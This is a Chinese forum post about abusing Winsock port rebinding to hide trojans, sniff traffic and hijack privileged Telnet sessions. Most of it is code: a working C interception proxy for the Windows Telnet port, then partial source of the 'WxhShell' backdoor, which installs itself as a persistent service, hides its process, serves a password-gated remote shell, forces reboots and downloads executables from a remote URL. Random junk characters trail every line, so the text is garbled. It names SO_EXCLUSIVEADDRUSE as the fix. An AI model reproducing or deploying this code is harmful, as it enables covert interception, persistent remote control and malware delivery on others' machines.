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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #B$_ily)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YTe8C9eO  
/ubGa6N  
  saddr.sin_family = AF_INET; 0Z AtBq.s  
@!\lt$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )Zyw^KN^  
&~)1mnv.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pR:cnkVF  
z\J#d 1e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &C/,~pJ1S  
o2y #Yk  
  这意味着什么?意味着可以进行如下的攻击: K]U8y$^  
tdi}P/x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vf<Tq  
AIQ]lQ(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I} ]s(  
oM}P Wf-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 / vzwokH  
6:bvq?5a5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xtS0D^  
Zg;Ht  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bu\D*-  
Wf  *b"#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?P2 d 9b  
`t #I e *  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4y9n,~Qgw  
@ao Hz8K  
  #include Q0_|?]v  
  #include {<^PYN>`  
  #include '6>nXp?)r  
  #include    ;fY)7 '  
  DWORD WINAPI ClientThread(LPVOID lpParam);   74Il]i1=  
  int main() {uO2m*JrI  
  { ByXcs'  
  WORD wVersionRequested; 'l'[U  
  DWORD ret; (Bfy   
  WSADATA wsaData; 1'J|yq  
  BOOL val; X@7e 7  
  SOCKADDR_IN saddr; @ GzN0yXhR  
  SOCKADDR_IN scaddr; (/_Z^m9   
  int err; X?]1/6rV  
  SOCKET s; SR 1UO'.  
  SOCKET sc; TCO^9RP<  
  int caddsize; "IsDL^)A9  
  HANDLE mt; NB/ wJ3 F  
  DWORD tid;   A!5)$>!o  
  wVersionRequested = MAKEWORD( 2, 2 ); Z}6H529[  
  err = WSAStartup( wVersionRequested, &wsaData ); b"#|0d0  
  if ( err != 0 ) { L}U fd >*  
  printf("error!WSAStartup failed!\n");  W-U[7n  
  return -1; $30lNZK1m8  
  } uw&'=G6v  
  saddr.sin_family = AF_INET; )e:u 6]  
   uJHf6Ye  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >RT02Ey>  
n&uD=-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @k2nID^>  
  saddr.sin_port = htons(23); }3mIj<I1;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8|p*T&Cn&  
  { a?9Ka!O4s  
  printf("error!socket failed!\n"); =C2,?6!  
  return -1; TL_8c][.4$  
  } ijWn,bj  
  val = TRUE; ,U/ZG|=v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 oBTRO0.s+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ul3._Q   
  { h3Z0NJ=xM  
  printf("error!setsockopt failed!\n"); Ke+#ww  
  return -1; \lpR+zaF  
  } |Gh~Zu p  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U ()36  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -^LEGKN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H<YS2Ed  
}<kpvd+ps=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m-No 8)2yA  
  { 7[W! Nx  
  ret=GetLastError(); "S@%d(lg  
  printf("error!bind failed!\n"); ~nG?>  
  return -1; U_c.Z{lC4  
  } ]`Y;4XR  
  listen(s,2); u($y<Q)=  
  while(1) K%A:W  
  { %t^-Guz  
  caddsize = sizeof(scaddr); $u./%JS  
  //接受连接请求 ]\<^rEU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d^WEfH  
  if(sc!=INVALID_SOCKET) [SJ*ks,]  
  { 0X3kVm <  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %<w)#eV?  
  if(mt==NULL) xTW$9>@\m  
  { p M:lg  
  printf("Thread Creat Failed!\n"); X4U$#uI{  
  break; 7Z/KXc[b  
  } =F5(k(Ds  
  } [,TuNd  
  CloseHandle(mt); lclSzC9  
  } /"$;3n~  
  closesocket(s); r4h4A w{  
  WSACleanup(); KfsURTZ  
  return 0; Ojf.D6nY  
  }   "?GA}e"R  
  DWORD WINAPI ClientThread(LPVOID lpParam) Em8C +EM  
  { ZVj/lOP X  
  SOCKET ss = (SOCKET)lpParam; Ul@yXtj  
  SOCKET sc; + AyrKs?h  
  unsigned char buf[4096]; &i,xod6$  
  SOCKADDR_IN saddr; gzthM8A  
  long num; ?HBNd&gZ1G  
  DWORD val; }Q?, O  
  DWORD ret; "-+5`!Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j\D_Z{m2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |BGQ|7DyG  
  saddr.sin_family = AF_INET; hX~d1.]Y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); WBgS9qiB  
  saddr.sin_port = htons(23); OFTyN^([@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }Zue?!KQ  
  { I|*w?i*  
  printf("error!socket failed!\n"); 0[JJ  
  return -1; p ] V  
  } [Az<E3H"  
  val = 100; /L8Q[`;.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *eAsA(;  
  { Yp1;5Bbp  
  ret = GetLastError(); EencMi7J  
  return -1; c-L1 Bkw  
  } B6&;nU>;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Pvq74?an`  
  { 5 #)5Z8`X  
  ret = GetLastError(); B'OUT2cgB  
  return -1; E {$Jk]c  
  } 90o G+T4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >i%{5d  
  { ndn)}Z!0h  
  printf("error!socket connect failed!\n"); _h2axXFhT  
  closesocket(sc); WKib$(%f6  
  closesocket(ss); B\,pbOE?#  
  return -1; 9@LL_r`?<  
  } P5Y:c@u2  
  while(1) gwj+~vSfi  
  { >TT4;ph  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P".CZyI-i  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `<1o}r 7i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |UN0jR  
  num = recv(ss,buf,4096,0); XrY\ot`,D  
  if(num>0) ?CgqHmf\\(  
  send(sc,buf,num,0); '`#sOH  
  else if(num==0) IvFxI#.ju  
  break; *UVo>;  
  num = recv(sc,buf,4096,0); [=[>1<L>  
  if(num>0) 59;p|  
  send(ss,buf,num,0); diF-`~  
  else if(num==0) X!,2/WT  
  break; roDE?7x1  
  } 0drt,k  
  closesocket(ss); M<R3JzT  
  closesocket(sc); _yi`relcq-  
  return 0 ; h\#\hx  
  } u]K&H&AxT  
4NaL#3  
E-Nc|A  
========================================================== Cku#[?G  
{k4)f ad\  
下边附上一个代码,,WXhSHELL fk5xIW  
1 PL2[_2:  
========================================================== w\o?p.drp=  
\wR $_X&  
#include "stdafx.h" !2-f%x]tO  
_?"P<3/iF  
#include <stdio.h> ^=f<WKn  
#include <string.h> WC6yQSnY&  
#include <windows.h> I d6H~;  
#include <winsock2.h> OIpkXM  
#include <winsvc.h> ,Jm2|WKH  
#include <urlmon.h> jlvh'y`  
' U]\]Wp  
#pragma comment (lib, "Ws2_32.lib") @]v}& j7  
#pragma comment (lib, "urlmon.lib") wldv^n hM  
>yr:L{{D}G  
#define MAX_USER   100 // 最大客户端连接数 HjCWsQM  
#define BUF_SOCK   200 // sock buffer u^HC1r|%  
#define KEY_BUFF   255 // 输入 buffer cEI "  
]_!5g3VQh  
#define REBOOT     0   // 重启 >|{n";n&  
#define SHUTDOWN   1   // 关机 U($bR|%D  
B 2p/  
#define DEF_PORT   5000 // 监听端口 gD}lDK6N  
. V5Pr}"y  
#define REG_LEN     16   // 注册表键长度 Q&j-a;L  
#define SVC_LEN     80   // NT服务名长度 z TYHwx  
%b 8ig1  
// 从dll定义API 7+_TdDBYs  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }q<p;4<\F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0&M~lJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uDhe )  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ENZjRf4  
'%Cc!63t*  
// wxhshell配置信息 :1>h,NKC>  
struct WSCFG { ;a"g<v  
  int ws_port;         // 监听端口 2/XrorV  
  char ws_passstr[REG_LEN]; // 口令 b 6kDkE  
  int ws_autoins;       // 安装标记, 1=yes 0=no s7(NFX5  
  char ws_regname[REG_LEN]; // 注册表键名 \wMqVRPoQ  
  char ws_svcname[REG_LEN]; // 服务名 j<"@ Y7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /e/%mo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E}?n^Zf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _}bs0 kIz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  cs+;ijp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b |SDg%e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q]/ZVcoqo  
s fD@lW3  
}; S vTd#>ke  
~Up5+7k@  
// default Wxhshell configuration .r ,wc*SF  
struct WSCFG wscfg={DEF_PORT, Pz\4#E]  
    "xuhuanlingzhe", (G1KMy  
    1, ZhqGUb  
    "Wxhshell", @:,B /B;  
    "Wxhshell", f.yvKi.Cm  
            "WxhShell Service", k^VL{z:EWB  
    "Wrsky Windows CmdShell Service", ,> Ya%;h2k  
    "Please Input Your Password: ", zR@4Z>6   
  1, azhilUD8  
  "http://www.wrsky.com/wxhshell.exe", v11Uw?CM  
  "Wxhshell.exe" ~F [V  
    }; %C[#:>'+  
mafnkQU  
// 消息定义模块 Z "mqH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6!39t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YR'dl_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wi U-syNh  
char *msg_ws_ext="\n\rExit."; 0r_3:#Nn  
char *msg_ws_end="\n\rQuit."; (YV]T!q  
char *msg_ws_boot="\n\rReboot..."; \wjT|z1+Y  
char *msg_ws_poff="\n\rShutdown..."; scc+r  
char *msg_ws_down="\n\rSave to "; 84f(BE  
X%C`('"R  
char *msg_ws_err="\n\rErr!"; 7sX#6`t  
char *msg_ws_ok="\n\rOK!"; CMhl*dH  
*A&A V||q  
char ExeFile[MAX_PATH]; PF+F^;C  
int nUser = 0; wI5(`_l{G  
HANDLE handles[MAX_USER]; I K9plsd*  
int OsIsNt; Oj=g;iY  
]F{F+r  
SERVICE_STATUS       serviceStatus; #]rfKHW9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G;ihm$Cad  
QLm#7ms*y  
// 函数声明 ,+P2B%2c  
int Install(void); dDg[ry  
int Uninstall(void); yac4\%ze  
int DownloadFile(char *sURL, SOCKET wsh); :$=]*54`T  
int Boot(int flag); H\%^n<]#  
void HideProc(void); "g5<jp  
int GetOsVer(void); y&n-8L_  
int Wxhshell(SOCKET wsl); */_$' /q V  
void TalkWithClient(void *cs); Lo<WK  
int CmdShell(SOCKET sock); ?]%ZJd  
int StartFromService(void); i,h)V Cc  
int StartWxhshell(LPSTR lpCmdLine); xe4`D>LUo  
9^?2{aP%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZGw 6Bd_I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %!\iII  
+@^FUt=tq  
// 数据结构和表定义 {^@vCBE+  
SERVICE_TABLE_ENTRY DispatchTable[] = (.J6>"K<  
{ M!`&Z9N  
{wscfg.ws_svcname, NTServiceMain}, +xL' LC x  
{NULL, NULL} u<U8LR=)V5  
}; !#Pr'm/,mu  
Cl8S_Bz  
// 自我安装 o$p] p9  
int Install(void) <YM!K8hu$  
{ %jo,Gv  
  char svExeFile[MAX_PATH]; jX7;hQ+P  
  HKEY key; swz)gh-*  
  strcpy(svExeFile,ExeFile); 5E#8F  
Dn l|B\  
// 如果是win9x系统,修改注册表设为自启动 }~v&  
if(!OsIsNt) { a9uMgx}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !ra,HkU'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J[{ R:l\  
  RegCloseKey(key); *DgRF/S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A I v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g8R@ol0  
  RegCloseKey(key); 8 \"A-+_Q  
  return 0; I]z4}#+cX  
    } \"a~~Koe  
  } B)x^S >  
} 3:aj8F2  
else { !lL~#l:F  
"sSY[6Kp!  
// 如果是NT以上系统,安装为系统服务 .wO-2h{Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'kSm}} y  
if (schSCManager!=0) s-4qK(ml-  
{ >l b9j>  
  SC_HANDLE schService = CreateService F AQx8P  
  ( k?}y@$[)  
  schSCManager, l(pP*2  
  wscfg.ws_svcname, Obx!>mI^6  
  wscfg.ws_svcdisp, @rv)J[7Y&  
  SERVICE_ALL_ACCESS, q%/\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?BX}0RWMh7  
  SERVICE_AUTO_START, m f\tMik<  
  SERVICE_ERROR_NORMAL, nKmf#  
  svExeFile, '=+gwe M  
  NULL, M4n0GWHLy  
  NULL, Cb6K!5[q]  
  NULL, U]&/F{3 im  
  NULL, K1=j7  
  NULL ?L|Ai\|  
  ); 0Q~\1D 9g  
  if (schService!=0) X"V)oC  
  { q8)w Al  
  CloseServiceHandle(schService); o]eG+i6g]  
  CloseServiceHandle(schSCManager); Jsa;pG=3&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :(K JLa]  
  strcat(svExeFile,wscfg.ws_svcname); 3T /_#=9TV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,T-xuNYC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b%h.>ij?  
  RegCloseKey(key); Us\Nmso z  
  return 0; N[I ?x5:u  
    } GBTwQYF  
  } vW0U~(XlN  
  CloseServiceHandle(schSCManager); ck$>   
} :7*9W|e  
} GF36G?iEi  
5,BvT>zFY  
return 1; y[/:?O}g4  
} <OrQbrWQa  
h %5keiA  
// 自我卸载 fRwr}n'  
int Uninstall(void) XaaR>HljJ  
{ Rw<O%i5/d  
  HKEY key; hT% >)71  
~wu\j][2  
if(!OsIsNt) { yuhY )T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xJin %:O  
  RegDeleteValue(key,wscfg.ws_regname); <r)5jf  
  RegCloseKey(key); DB0?H+8t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gX`C76P!  
  RegDeleteValue(key,wscfg.ws_regname); {*"\6 8e  
  RegCloseKey(key); NOFH  
  return 0; Q]]M;(  
  } /GF"D5  
} E;YD5^B  
} z%nplG'~|  
else { `*xSn+wL`_  
<Wd_m?z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &{bNa:@  
if (schSCManager!=0) (/S6b  
{ TCK#bJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {]iM5?  
  if (schService!=0) 5'[yw:P-8  
  { )1g\v8XT  
  if(DeleteService(schService)!=0) { ~lbm^S}-  
  CloseServiceHandle(schService); v <m=g!  
  CloseServiceHandle(schSCManager); sRQ4pnnrn  
  return 0; +.v+Opp,  
  } Pk6_1LV  
  CloseServiceHandle(schService); Q6p75$SVq  
  } R8Dn GR  
  CloseServiceHandle(schSCManager); 0S\HO<~k  
} YpvFv-  
} EiS2-Uh*TT  
D7Ds*X`!l  
return 1; L?(m5u~b  
} 6&btAwvOHx  
M8VsU*aU  
// 从指定url下载文件 S-79uo  
int DownloadFile(char *sURL, SOCKET wsh) }:\e "Bfv  
{ 6?-,@e  
  HRESULT hr; Uo JMOw[  
char seps[]= "/"; 1]aya(  
char *token; <U}25AR  
char *file; _@Y17L.  
char myURL[MAX_PATH]; 7'7o^> !  
char myFILE[MAX_PATH]; ig'4DmNC  
,]4.|A_[Rq  
strcpy(myURL,sURL); U\q?tvn'J  
  token=strtok(myURL,seps); d3p;[;`  
  while(token!=NULL) D7C%Y^K]>E  
  { 7H. HiyppW  
    file=token; 6W'2w?qj?4  
  token=strtok(NULL,seps); CWkAc5  
  } ze uSk| O  
h[]3#  
GetCurrentDirectory(MAX_PATH,myFILE); uvA2`%T/  
strcat(myFILE, "\\"); $KmE9Se6,  
strcat(myFILE, file); nz`"f,  
  send(wsh,myFILE,strlen(myFILE),0); D[(T--LLT  
send(wsh,"...",3,0); nN(Q}bF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;z o?o t/  
  if(hr==S_OK) ,-.=]r/s  
return 0; [[Usrbf  
else 9!wm`'G8  
return 1; ,]=Qg n  
aT=V/Xh}d  
} ScC!?rTW~7  
{ZgycMS  
// 系统电源模块 4OdK@+-8U  
int Boot(int flag) Ot3+<{  
{ Of{'A  
  HANDLE hToken; w&}UgtEm  
  TOKEN_PRIVILEGES tkp; kN* \yH|  
mh~n#bah  
  if(OsIsNt) { ntF#x.1Pm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0.!Q 4bhD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5O"wPsl  
    tkp.PrivilegeCount = 1; uzLIllVX*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W97 &[([  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r<.*:]L  
if(flag==REBOOT) { =_d-MJy~6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C5oIl_t  
  return 0; :w4I+* ]  
} =Y5*J#  
else { dUpOg{I.x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B'D 4]EB  
  return 0; \8S HX  
} 4?e7s.9N  
  } d?(eL(W  
  else { H@8 ;6D  
if(flag==REBOOT) { o #F03  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /J'dG%  
  return 0; #|{^k u  
} Y&DC5T]  
else { fpvzx{2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <txzKpM  
  return 0; 5$f*fMd;  
} ^ P=CoLFa  
} ,_yf5 a  
As*59jkB  
return 1; Q_n9}LanP  
} R P6R1iN3  
V~qlg1h  
// win9x进程隐藏模块 cx(b5Z  
void HideProc(void) 0)3*E)g{  
{ agW#"9]WM  
zf^F.wW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;hp?wb  
  if ( hKernel != NULL ) ppM^&6x^  
  { '^.}5be&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \) T4NN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &:*|KxX  
    FreeLibrary(hKernel); ?\Z-3l%M  
  } y-CVyl  
=9vmRh? 8  
return; *G0r4Ui$  
} -* ;`~5  
#$9rH 2zd  
// 获取操作系统版本 o*WI*Fb'  
int GetOsVer(void) a"0'cgB}  
{ z"lRfOWI  
  OSVERSIONINFO winfo; G!IJ#|D:~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); : S |)  
  GetVersionEx(&winfo); K.jm>]'z4;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  ~WG#Zci-  
  return 1; p![CH  
  else Y+I`XeY  
  return 0; e#$ZOK)`  
} tmI2BBv  
goV[C]|  
// 客户端句柄模块 BpKgUwf;C  
int Wxhshell(SOCKET wsl) APR%ZpG  
{ 6?c(ueiL[  
  SOCKET wsh; I~>L4~g)  
  struct sockaddr_in client; h47l;`kD-#  
  DWORD myID; /0H39]y!~  
ROHr%'owgL  
  while(nUser<MAX_USER) ,4%'~8'3  
{ yjP;o`z%  
  int nSize=sizeof(client); (S#4y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?(CMm%(8  
  if(wsh==INVALID_SOCKET) return 1; 3#H x^H  
@rVBL<!o,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `&yUU2W  
if(handles[nUser]==0) OVm $  
  closesocket(wsh); pJE317 p'  
else 4!dN^;Cb  
  nUser++; pB;p\9A*q  
  } jE{2rw$ZJ?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <ctn_"p Z  
}Ik{tUS$  
  return 0; >_$DKY>$`  
} nn_j"Nu  
&~7b-foCq  
// 关闭 socket A@0%7xm  
void CloseIt(SOCKET wsh) ^KJIT3J(#  
{ Gm.n@U p  
closesocket(wsh); ]l'W=_XDg  
nUser--; }9xEA[@;  
ExitThread(0); J$?*qZ(oO  
} X|7Y|0o  
5E/z.5 q  
// 客户端请求句柄 `MtPua\_  
void TalkWithClient(void *cs) O`hOVHD Q  
{ jo4*,B1x  
_KkLH\1g$  
  SOCKET wsh=(SOCKET)cs; V4OhdcW{  
  char pwd[SVC_LEN]; /*bS~7f1  
  char cmd[KEY_BUFF]; [EJ[Gg0m  
char chr[1]; Kj_hCSvf3e  
int i,j; _azg 0.)  
l*]*.?m/5  
  while (nUser < MAX_USER) { GiN\nu<!  
ccJ@jpXI  
if(wscfg.ws_passstr) { >]k'3|vV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yjVPaEu]aU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <"@~  
  //ZeroMemory(pwd,KEY_BUFF); Nd~?kZZu  
      i=0; %Y` @>P'  
  while(i<SVC_LEN) { )-2o}KU]>  
n@xDFa  
  // 设置超时 j#b?P=|l  
  fd_set FdRead; :hG?} [-2  
  struct timeval TimeOut; $3sS&i<  
  FD_ZERO(&FdRead); !0~$u3[b  
  FD_SET(wsh,&FdRead); +?~'K&@  
  TimeOut.tv_sec=8; u4=j!Zb8}  
  TimeOut.tv_usec=0; |wZ8O}O{E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F}A@H<?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O=#FpPHrdw  
g`!:7|&,_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J8$G-~MeJ  
  pwd=chr[0]; DLkNL?a  
  if(chr[0]==0xd || chr[0]==0xa) { $@t-Oor;  
  pwd=0; 31y=Ar""  
  break; ubIGs| p2c  
  } V,($I'&/  
  i++; 92GO.xAD?  
    } ho_;;y  
!c\d(u  
  // 如果是非法用户,关闭 socket  )>Oip  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o)7gKWjujP  
} -tSWYp{  
0sRby!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $L.0$-je4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZN|DR|c UY  
IEdC _6G  
while(1) { |*7uF<ink6  
a8-2:8Su  
  ZeroMemory(cmd,KEY_BUFF); t#~r'5va  
nv(Pwb3B  
      // 自动支持客户端 telnet标准   N G1]!Vz5  
  j=0; dfe 9)m>  
  while(j<KEY_BUFF) { AU}P`fT!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pK#Ze/!  
  cmd[j]=chr[0]; SG8H~]CO)  
  if(chr[0]==0xa || chr[0]==0xd) { z_eP  
  cmd[j]=0; 5,'?NEyw  
  break; [SgP1>M  
  } r:y *l4  
  j++; h%(dT/jPL)  
    } {>G\3|^D  
phUno2fH  
  // 下载文件 0yXUVKq3  
  if(strstr(cmd,"http://")) { Z bxd,|<|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -Xkdu?6Eh  
  if(DownloadFile(cmd,wsh)) 28-6(oG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @<\f[Znto  
  else Y2j>lf?8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <oPo?r|oM|  
  } VY@uQ#&A  
  else { /g712\?M4  
rSB"0 W7  
    switch(cmd[0]) { *J?QXsg  
  mUzNrkG(G  
  // 帮助 7[QU *1bk  
  case '?': { __$IbF5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =A<kDxqH  
    break; dh%C@n:B  
  } Vf*!m~]Vqi  
  // 安装 y%=\E  
  case 'i': { +M (\R?@gr  
    if(Install()) Fm{Ri=X<:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <dDGV>n4;  
    else } O9q$-8!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OibW8A4Z1  
    break; , Z#t-?  
    } N- ?U2V  
  // 卸载 3`J?as@^8  
  case 'r': { @ h([c  
    if(Uninstall()) X_|8CD-@6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P@p(Y2&~g  
    else 1#Dpj.cO#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _$0<]O$  
    break; jwTb09  
    } D*`|MzlQ  
  // 显示 wxhshell 所在路径 ;or(:Yoc-  
  case 'p': { ^M  PU?k  
    char svExeFile[MAX_PATH]; 1okL]VrI  
    strcpy(svExeFile,"\n\r"); 09eS&J<R  
      strcat(svExeFile,ExeFile); lKI1bs]i  
        send(wsh,svExeFile,strlen(svExeFile),0); 6CLrP} u  
    break; 95aa  
    } 2;5EH 0  
  // 重启 !k||-Q &  
  case 'b': { V{$(#r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?y'KX]/  
    if(Boot(REBOOT)) ]}8<h5h)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ._-^ 58[  
    else { S3:Pjz}t  
    closesocket(wsh); 0(Z ER sP  
    ExitThread(0); <m`HK.|~  
    } 4<70mUnt  
    break; 5P -IZ8~$  
    } U{RW=sYB~9  
